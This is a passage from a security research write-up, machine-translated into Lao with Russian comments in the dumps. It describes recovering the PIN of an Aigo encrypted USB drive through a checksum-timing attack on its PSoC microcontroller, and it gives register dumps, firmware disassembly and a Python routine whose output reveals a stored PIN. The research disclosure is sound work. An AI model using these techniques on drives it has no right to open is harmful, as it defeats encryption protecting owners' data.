2. ສົ່ງ vector ການເລີ່ມຕົ້ນເຕັມ.
3. ໂທຫາຟັງຊັນ Arduino Cmnd_STK_START_CSUM (0x85), ບ່ອນທີ່ຄວາມລ່າຊ້າໃນ microseconds ຖືກສົ່ງຜ່ານເປັນພາລາມິເຕີ.
4. ອ່ານ checksum (0xF8 ແລະ 0xF9) ແລະ undocumented register 0xF1.

ລະຫັດນີ້ຖືກປະຕິບັດ 10 ເທື່ອໃນ 1 microsecond. 0xF1 ແມ່ນລວມຢູ່ທີ່ນີ້ເພາະວ່າມັນເປັນການລົງທະບຽນດຽວທີ່ມີການປ່ຽນແປງໃນເວລາຄິດໄລ່ checksum. ບາງທີມັນເປັນຕົວແປຊົ່ວຄາວບາງຊະນິດທີ່ໃຊ້ໂດຍຫົວໜ່ວຍເຫດຜົນເລກຄະນິດ. ໃຫ້ສັງເກດການ hack ທີ່ຫນ້າກຽດທີ່ຂ້ອຍໃຊ້ເພື່ອປັບ Arduino ໂດຍໃຊ້ picocom ເມື່ອ Arduino ຢຸດສະແດງອາການຂອງຊີວິດ (ບໍ່ຮູ້ວ່າເປັນຫຍັງ).

7.2. ການອ່ານຜົນໄດ້ຮັບ

ຜົນໄດ້ຮັບຂອງສະຄິບ Python ເບິ່ງຄືວ່ານີ້ (ງ່າຍສໍາລັບການອ່ານ):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

ທີ່ຖືກເວົ້າວ່າ, ພວກເຮົາມີບັນຫາ: ນັບຕັ້ງແຕ່ພວກເຮົາກໍາລັງດໍາເນີນການກັບ checksum ຕົວຈິງ, a null byte ບໍ່ປ່ຽນແປງຄ່າທີ່ອ່ານ. ຢ່າງໃດກໍ່ຕາມ, ນັບຕັ້ງແຕ່ຂັ້ນຕອນການຄິດໄລ່ທັງຫມົດ (8192 bytes) ໃຊ້ເວລາ 0,1478 ວິນາທີ (ມີການປ່ຽນແປງເລັກນ້ອຍໃນແຕ່ລະຄັ້ງທີ່ມັນແລ່ນ), ເຊິ່ງເທົ່າກັບປະມານ 18,04 μsຕໍ່ byte, ພວກເຮົາສາມາດໃຊ້ເວລານີ້ເພື່ອກວດສອບມູນຄ່າ checksum ໃນເວລາທີ່ເຫມາະສົມ. ສໍາລັບການແລ່ນຄັ້ງທໍາອິດ, ທຸກສິ່ງທຸກຢ່າງແມ່ນອ່ານໄດ້ງ່າຍ, ເພາະວ່າໄລຍະເວລາຂອງຂັ້ນຕອນການຄິດໄລ່ແມ່ນເກືອບຄືກັນ. ຢ່າງໃດກໍ່ຕາມ, ການສິ້ນສຸດຂອງການຖິ້ມຂີ້ເຫຍື້ອນີ້ແມ່ນຖືກຕ້ອງຫນ້ອຍເພາະວ່າ "ການບິດເບືອນເວລາເລັກນ້ອຍ" ໃນແຕ່ລະໄລຍະເພີ່ມຂຶ້ນກາຍເປັນຄວາມສໍາຄັນ:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

ນັ້ນແມ່ນ 10 dumps ສໍາລັບການຊັກຊ້າ microsecond ທຸກໆ. ເວລາປະຕິບັດງານທັງຫມົດສໍາລັບການຖິ້ມທັງຫມົດ 8192 bytes ຂອງ flash drive ແມ່ນປະມານ 48 ຊົ່ວໂມງ.

7.3. Flash ການຟື້ນຟູຖານສອງ

ຂ້າພະເຈົ້າຍັງບໍ່ທັນໄດ້ສໍາເລັດການຂຽນລະຫັດທີ່ຈະສ້າງລະຫັດໂຄງການຂອງ flash drive ຢ່າງສົມບູນ, ຄໍານຶງເຖິງ deviations ທັງຫມົດທີ່ໃຊ້ເວລາ. ຢ່າງໃດກໍຕາມ, ຂ້າພະເຈົ້າໄດ້ຟື້ນຟູການເລີ່ມຕົ້ນຂອງລະຫັດນີ້ແລ້ວ. ເພື່ອໃຫ້ແນ່ໃຈວ່າຂ້ອຍເຮັດຢ່າງຖືກຕ້ອງ, ຂ້ອຍໄດ້ຖອດມັນອອກໂດຍໃຊ້ m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

ເບິ່ງ​ແລ້ວ​ເປັນ​ໄປ​ໄດ້​!

7.4. ຊອກຫາທີ່ຢູ່ເກັບຮັກສາລະຫັດ PIN

ໃນປັດຈຸບັນທີ່ພວກເຮົາສາມາດອ່ານ checksum ໃນເວລາທີ່ພວກເຮົາຕ້ອງການ, ພວກເຮົາສາມາດກວດເບິ່ງໄດ້ຢ່າງງ່າຍດາຍແລະບ່ອນທີ່ມັນປ່ຽນແປງໃນເວລາທີ່ພວກເຮົາ:

• ໃສ່ລະຫັດ PIN ຜິດ;
• ປ່ຽນລະຫັດ PIN.

ຫນ້າທໍາອິດ, ເພື່ອຊອກຫາທີ່ຢູ່ການເກັບຮັກສາໂດຍປະມານ, ຂ້າພະເຈົ້າໄດ້ເອົາ checksum dump ໃນ 10 ms ເພີ່ມຂຶ້ນຫຼັງຈາກ reboot. ຫຼັງຈາກນັ້ນ, ຂ້າພະເຈົ້າໄດ້ໃສ່ລະຫັດ PIN ຜິດແລະເຮັດເຊັ່ນດຽວກັນ.

ຜົນໄດ້ຮັບແມ່ນບໍ່ເປັນສຸກຫຼາຍ, ເນື່ອງຈາກວ່າມີການປ່ຽນແປງຫຼາຍ. ແຕ່ໃນທີ່ສຸດຂ້ອຍສາມາດກໍານົດວ່າ checksum ມີການປ່ຽນແປງຢູ່ບ່ອນໃດບ່ອນຫນຶ່ງລະຫວ່າງ 120000 µs ແລະ 140000 µs ຂອງການຊັກຊ້າ. ແຕ່ "pincode" ທີ່ຂ້ອຍສະແດງຢູ່ນັ້ນບໍ່ຖືກຕ້ອງຢ່າງສົມບູນ - ເນື່ອງຈາກການປອມຂອງຂະບວນການຊັກຊ້າMicrosconds, ເຊິ່ງເຮັດສິ່ງທີ່ແປກປະຫລາດເມື່ອ 0 ຖືກສົ່ງກັບມັນ.

ຫຼັງຈາກນັ້ນ, ຫຼັງຈາກໃຊ້ເວລາເກືອບ 3 ຊົ່ວໂມງ, ຂ້າພະເຈົ້າຈື່ໄດ້ວ່າລະບົບ SROM ໂທຫາ CheckSum ໄດ້ຮັບການໂຕ້ຖຽງເປັນວັດສະດຸປ້ອນທີ່ລະບຸຈໍານວນຕັນສໍາລັບ checksum! ນັ້ນ. ພວກ​ເຮົາ​ສາ​ມາດ​ເຮັດ​ໄດ້​ຢ່າງ​ງ່າຍ​ດາຍ​ທີ່​ຢູ່​ການ​ເກັບ​ຮັກ​ສາ​ຂອງ​ລະ​ຫັດ PIN ແລະ "ການ​ພະ​ຍາ​ຍາມ​ທີ່​ບໍ່​ຖືກ​ຕ້ອງ​" counter, ມີ​ຄວາມ​ຖືກ​ຕ້ອງ​ສູງ​ເຖິງ 64-byte block.

ການແລ່ນເບື້ອງຕົ້ນຂອງຂ້ອຍໄດ້ຜົນຕໍ່ໄປນີ້:

ຫຼັງຈາກນັ້ນ, ຂ້າພະເຈົ້າໄດ້ປ່ຽນລະຫັດ PIN ຈາກ "123456" ເປັນ "1234567" ແລະໄດ້ຮັບ:

ດັ່ງນັ້ນ, ລະຫັດ PIN ແລະຕົວຕ້ານການຂອງຄວາມພະຍາຍາມທີ່ບໍ່ຖືກຕ້ອງເບິ່ງຄືວ່າຈະຖືກເກັບໄວ້ໃນບລັອກ 126.

7.5. ການຖິ້ມຂີ້ເຫຍື້ອຂອງຕັນ ເລກທີ 126

ຕັນ #126 ຄວນຕັ້ງຢູ່ບ່ອນໃດບ່ອນຫນຶ່ງປະມານ 125x64x18 = 144000μs, ຈາກການເລີ່ມຕົ້ນຂອງການຄິດໄລ່ checksum, ໃນ dump ເຕັມຂອງຂ້ອຍ, ແລະມັນເບິ່ງຄືວ່າຂ້ອນຂ້າງເປັນໄປໄດ້. ຫຼັງຈາກນັ້ນ, ຫຼັງຈາກເອົາຂີ້ເຫຍື້ອທີ່ບໍ່ຖືກຕ້ອງຈໍານວນຫລາຍອອກດ້ວຍຕົນເອງ (ເນື່ອງຈາກການສະສົມຂອງ "ການບິດເບືອນເວລາເລັກນ້ອຍ"), ຂ້າພະເຈົ້າໄດ້ສິ້ນສຸດການໄດ້ຮັບ bytes ເຫຼົ່ານີ້ (ໃນ latency ຂອງ 145527 μs):

ເຫັນໄດ້ຊັດເຈນວ່າລະຫັດ PIN ຖືກເກັບໄວ້ໃນຮູບແບບທີ່ບໍ່ໄດ້ເຂົ້າລະຫັດ! ຄ່າເຫຼົ່ານີ້, ແນ່ນອນ, ບໍ່ໄດ້ຂຽນໄວ້ໃນລະຫັດ ASCII, ແຕ່ຍ້ອນວ່າມັນປາກົດ, ພວກມັນສະທ້ອນເຖິງການອ່ານທີ່ເອົາມາຈາກແປ້ນພິມ capacitive.

ສຸດທ້າຍ, ຂ້າພະເຈົ້າໄດ້ດໍາເນີນການທົດສອບເພີ່ມເຕີມເພື່ອຊອກຫາບ່ອນທີ່ເຄື່ອງນັບຄວາມພະຍາຍາມທີ່ບໍ່ດີຖືກເກັບໄວ້. ນີ້ແມ່ນຜົນໄດ້ຮັບ:

0xFF - ຫມາຍຄວາມວ່າ "15 ຄວາມພະຍາຍາມ" ແລະມັນຫຼຸດລົງໃນແຕ່ລະຄວາມພະຍາຍາມທີ່ລົ້ມເຫລວ.

7.6. ການກູ້ລະຫັດ PIN

ນີ້ແມ່ນລະຫັດທີ່ຂີ້ຮ້າຍຂອງຂ້ອຍທີ່ເອົາຂໍ້ຄວາມຂ້າງເທິງນີ້ເຂົ້າກັນ:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

ນີ້ແມ່ນຜົນຂອງການປະຕິບັດຂອງມັນ:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

ໂຫ້ຍ! ເຮັດວຽກ!

ກະລຸນາຮັບຊາບວ່າຄ່າ latency ທີ່ຂ້ອຍໃຊ້ແມ່ນອາດຈະກ່ຽວຂ້ອງກັບ PSoC ສະເພາະອັນດຽວ - ອັນທີ່ຂ້ອຍໃຊ້.

8. ຕໍ່ໄປແມ່ນຫຍັງ?

ດັ່ງນັ້ນ, ໃຫ້ສະຫຼຸບກ່ຽວກັບດ້ານ PSoC, ໃນສະພາບການຂອງໄດ Aigo ຂອງພວກເຮົາ:

• ພວກເຮົາສາມາດອ່ານ SRAM ເຖິງແມ່ນວ່າມັນຖືກອ່ານຖືກປົກປ້ອງ;
• ພວກ​ເຮົາ​ສາ​ມາດ​ຫຼີກ​ເວັ້ນ​ການ​ປ້ອງ​ກັນ​ຕ້ານ swipe ໄດ້​ໂດຍ​ການ​ນໍາ​ໃຊ້​ການ​ໂຈມ​ຕີ​ການ​ຕິດ​ຕາມ​ເກີບ​ເຢັນ​ແລະ​ໂດຍ​ກົງ​ການ​ອ່ານ​ລະ​ຫັດ PIN​.

ຢ່າງໃດກໍຕາມ, ການໂຈມຕີຂອງພວກເຮົາມີຂໍ້ບົກພ່ອງບາງຢ່າງເນື່ອງຈາກບັນຫາການ synchronization. ມັນສາມາດໄດ້ຮັບການປັບປຸງດັ່ງຕໍ່ໄປນີ້:

• ຂຽນປະໂຫຍດເພື່ອຖອດລະຫັດຂໍ້ມູນຜົນຜະລິດທີ່ໄດ້ຮັບຜົນມາຈາກການໂຈມຕີ "ຕິດຕາມເກີບເຢັນ";
• ໃຊ້ເຄື່ອງມື FPGA ເພື່ອສ້າງຄວາມລ່າຊ້າເວລາທີ່ຊັດເຈນກວ່າ (ຫຼືໃຊ້ຕົວຈັບເວລາຮາດແວ Arduino);
• ພະຍາຍາມໂຈມຕີອື່ນ: ໃສ່ລະຫັດ PIN ທີ່ບໍ່ຖືກຕ້ອງໂດຍເຈດຕະນາ, ປິດເປີດໃຫມ່ແລະ dump RAM, ຫວັງວ່າລະຫັດ PIN ທີ່ຖືກຕ້ອງຈະຖືກບັນທຶກໄວ້ໃນ RAM ສໍາລັບການປຽບທຽບ. ຢ່າງໃດກໍຕາມ, ນີ້ບໍ່ແມ່ນເລື່ອງງ່າຍທີ່ຈະເຮັດໃນ Arduino, ເນື່ອງຈາກວ່າລະດັບສັນຍານ Arduino ແມ່ນ 5 volts, ໃນຂະນະທີ່ຄະນະກໍາມະພວກເຮົາກໍາລັງກວດສອບເຮັດວຽກກັບສັນຍານ 3,3 volt.

ສິ່ງຫນຶ່ງທີ່ຫນ້າສົນໃຈທີ່ສາມາດພະຍາຍາມໄດ້ແມ່ນການຫຼີ້ນກັບລະດັບແຮງດັນເພື່ອຂ້າມການປ້ອງກັນການອ່ານ. ຖ້າວິທີການນີ້ເຮັດວຽກ, ພວກເຮົາຈະສາມາດໄດ້ຮັບຂໍ້ມູນທີ່ຖືກຕ້ອງຢ່າງແທ້ຈິງຈາກ flash drive - ແທນທີ່ຈະອີງໃສ່ການອ່ານ checksum ທີ່ມີການຊັກຊ້າຂອງເວລາທີ່ບໍ່ຊັດເຈນ.

ເນື່ອງຈາກວ່າ SROM ອາດຈະອ່ານ bits guards ໂດຍຜ່ານການໂທລະບົບ ReadBlock, ພວກເຮົາສາມາດເຮັດສິ່ງດຽວກັນກັບ. ອະທິບາຍ ໃນ blog ຂອງ Dmitry Nedospasov - ການປະຕິບັດຄືນໃຫມ່ຂອງການໂຈມຕີຂອງ Chris Gerlinski, ໄດ້ປະກາດໃນກອງປະຊຸມ. "REcon Brussels 2017".

ສິ່ງທີ່ມ່ວນອີກອັນຫນຶ່ງທີ່ສາມາດເຮັດໄດ້ຄືການຂູດກໍລະນີອອກຈາກຊິບ: ເອົາ SRAM dump, ກໍານົດການໂທລະບົບທີ່ບໍ່ມີເອກະສານແລະຈຸດອ່ອນ.

9 ສະຫຼຸບ

ດັ່ງນັ້ນ, ການປົກປ້ອງໄດນີ້ເປັນສິ່ງທີ່ຕ້ອງການຫຼາຍ, ເພາະວ່າມັນໃຊ້ microcontroller ປົກກະຕິ (ບໍ່ "ແຂງ") ເພື່ອເກັບຮັກສາລະຫັດ PIN ... ນອກຈາກນັ້ນ, ຂ້ອຍຍັງບໍ່ໄດ້ເບິ່ງ (ເທື່ອ) ວ່າສິ່ງທີ່ເປັນໄປກັບຂໍ້ມູນ. ການເຂົ້າລະຫັດໃນອຸປະກອນນີ້!

ທ່ານສາມາດແນະນໍາຫຍັງສໍາລັບ Aigo? ຫຼັງ​ຈາກ​ການ​ວິ​ເຄາະ​ສອງ​ສາມ​ແບບ​ຂອງ​ການ​ເຂົ້າ​ລະ​ຫັດ HDD drives​, ໃນ​ປີ 2015 ຂ້າ​ພະ​ເຈົ້າ​ໄດ້​ເຮັດ​ ການນໍາສະເຫນີ ໃນ SyScan, ເຊິ່ງລາວໄດ້ກວດເບິ່ງບັນຫາຄວາມປອດໄພຂອງໄດ HDD ພາຍນອກຈໍານວນຫນຶ່ງ, ແລະໄດ້ແນະນໍາກ່ຽວກັບສິ່ງທີ່ສາມາດປັບປຸງໄດ້. 🙂

ຂ້າພະເຈົ້າໄດ້ໃຊ້ເວລາສອງທ້າຍອາທິດແລະຫຼາຍໆຕອນແລງເຮັດການຄົ້ນຄວ້ານີ້. ທັງໝົດປະມານ 40 ຊົ່ວໂມງ. ນັບຈາກຈຸດເລີ່ມຕົ້ນ (ເມື່ອຂ້ອຍເປີດແຜ່ນ) ຈົນເຖິງທີ່ສຸດ (ການຖິ້ມລະຫັດ PIN). ດຽວກັນ 40 ຊົ່ວໂມງປະກອບມີເວລາທີ່ຂ້ອຍໃຊ້ເວລາຂຽນບົດຄວາມນີ້. ມັນເປັນການເດີນທາງທີ່ຫນ້າຕື່ນເຕັ້ນຫຼາຍ.

ແຫຼ່ງຂໍ້ມູນ: www.habr.com